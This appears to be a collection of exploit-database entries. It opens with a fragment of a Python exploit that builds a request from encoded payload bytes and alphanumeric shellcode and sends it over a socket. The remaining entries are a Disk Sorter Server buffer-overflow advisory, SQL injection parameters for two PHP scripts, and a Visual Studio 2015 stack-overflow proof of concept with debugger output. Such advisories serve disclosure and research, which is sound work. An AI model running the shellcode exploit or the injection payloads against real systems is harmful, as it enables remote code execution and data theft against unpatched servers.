pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'

shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'

pay+=shellcode
pay+='>\r\n\r\n'
print pay

sock.send(pay)  
data = sock.recv(80960)  

print data 
sock.close
            
[+] Title: Disk Sorter Server v9.5.12 - Local Stack-based buffer overflow
[+] Credits / Discovery: Nassim Asrir
[+] Author Email: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: N/A

Vendor:
===============

http://www.disksorter.com/
  
 
Download:
===========

http://www.disksorter.com/setups/disksortersrv_setup_v9.5.12.exe
 
 
Vulnerability Type:
===================

local stack-based buffer overflow


POC:
===================

Launch the program click on :

1 - Server 

2 - Connect

3 - and in the Share Name field inject (5000 "A") then the program crashed see the picture.

CVE Reference:
===============

N/A
 
 
Tested on:
=============== 

Windows 7

Win xp 


 
 
            
# # # # # 
# Exploit Title: Professional Bus Booking Script - SQL Injection
# Google Dork: N/A
# Date: 27.03.2017
# Vendor Homepage: http://travelbookingscript.com/
# Software: http://travelbookingscript.com/professional-bus-booking-script.html
# Demo: http://travelbookingscript.com/demo/professional/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/available_seat.php?hid_Busid=[SQL]
# # # # #
            
# # # # #
# Exploit Title: CouponPHP Script v3.1 - SQL Injection
# Google Dork: N/A
# Date: 27.03.2017
# Vendor Homepage: http://couponphp.com/
# Software: http://couponphp.com/demos
# Demo: http://newdemo2.couponphp.com
# Demo: http://newdemo3.couponphp.com
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/go.php?coupon_id=1&code=[SQL]
# users
#  id
#  username
#  password
# # # # #
            
/*
# Exploit Title: Microsoft Visual Studio 2015 update 3 – Stack overflow
# Date: 2017-03-26
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15
# Version: Visual Studio 2015 update 3
# Tested on: Windows 7 Pro SP1 x64, Windows 10 Pro x64

 

Windbg output

 

Crash 1:

 

eax=1469f040 ebx=00000000 ecx=1469f040 edx=165f4634 esi=1469f040 edi=0036e2d8

eip=16610c9d esp=00279000 ebp=0027900c iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

 

VCProject!CVCNode::GetVCProject+0x49:

 

16610c9d ff523c          call    dword ptr [edx+3Ch]  ds:002b:165f4670={VCProject!CVCNode::GetVCProject (16610c64)}

 

 

0:000> !exchain

0036e2dc: VCProject!memcmp+86f5 (166956e8)

0036e30c: VCProject!memcmp+876b (166957b0)

0036e384: msenv!_aulldiv+476d1 (31e3d818)

0036e424: msenv!_aulldiv+1567e (31df2c66)

0036e478: msenv!_aulldiv+65abf (31e6a010)

0036e4c4: vcpkg!sqlite3_value_type+1f3a (3940ac50)

0036e530: msenv!_aulldiv+2b169 (31e135dc)

0036e578: msenv!_aulldiv+2bb07 (31e145ac)

0036e5cc: msenv!_aulldiv+2b1de (31e136ca)

 

0:000> k

# ChildEBP RetAddr 

00 0027900c 16610ca0 VCProject!CVCNode::GetVCProject+0x49

01 00279020 16610ca0 VCProject!CVCNode::GetVCProject+0x53

02 00279034 16610ca0 VCProject!CVCNode::GetVCProject+0x53

…

ff 00279034 16610ca0 VCProject!CVCNode::GetVCProject+0x53

 

 

 

Crash 2:

 

(10cc.1970): CLR exception - code e0434352 (first chance)

 

(10cc.1970): Stack overflow - code c00000fd (first chance)

 

eax=08675cf0 ebx=00000000 ecx=08675cf0 edx=39784634 esi=08675cf0 edi=0043e0f0

eip=397a0c68 esp=00349000 ebp=00349004 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

 

VCProject!CVCNode::GetVCProject+0x4:

397a0c68 57              push    edi

 

0:000> !exchain

0043e0f4: VCProject!memcmp+86f5 (398256e8)

0043e124: VCProject!memcmp+876b (398257b0)

0043e19c: msenv!_aulldiv+476d1 (51e1d818)

0043e23c: msenv!_aulldiv+1567e (51dd2c66)

0043e290: msenv!_aulldiv+65abf (51e4a010)

0043e2dc: vcpkg!sqlite3_value_type+1f3a (390bac50)

0043e348: msenv!_aulldiv+2b169 (51df35dc)

0043e390: msenv!_aulldiv+2bb07 (51df45ac)

0043e3e4: msenv!_aulldiv+2b1de (51df36ca)

 

15a0a150  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a151  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a152  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a153  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a154  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a155  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a156  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a157  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

 

 

Peter

 

crash.c
*/

// Exploit Title : Microsoft Visual Studio 2015 update 3 – Stack overflow
// Date : 2017 - 03 - 26
// Exploit Author : Peter Baris
// Vendor Homepage : http://www.saptech-erp.com.au
// Software Link : https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15
// Version : 2015 update 3
// Tested on : Windows 7 Pro SP1 x64, Windows 10 Pro x64

// 2017-03-05 Reported to Microsoft
// a few ignorant messages from microsoft, stating that this is not causing data loss
// I have sent explanation about ctrl-s key combination
// 2017-03-26 Publishing


// Procedure to trigger the vulnerability
// Open the c source file simply by double clicing it
// In the properties windows change "Included In Project" to False -> click back to your source code's window

#include <Windows.h>

int main()
{

	printf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
}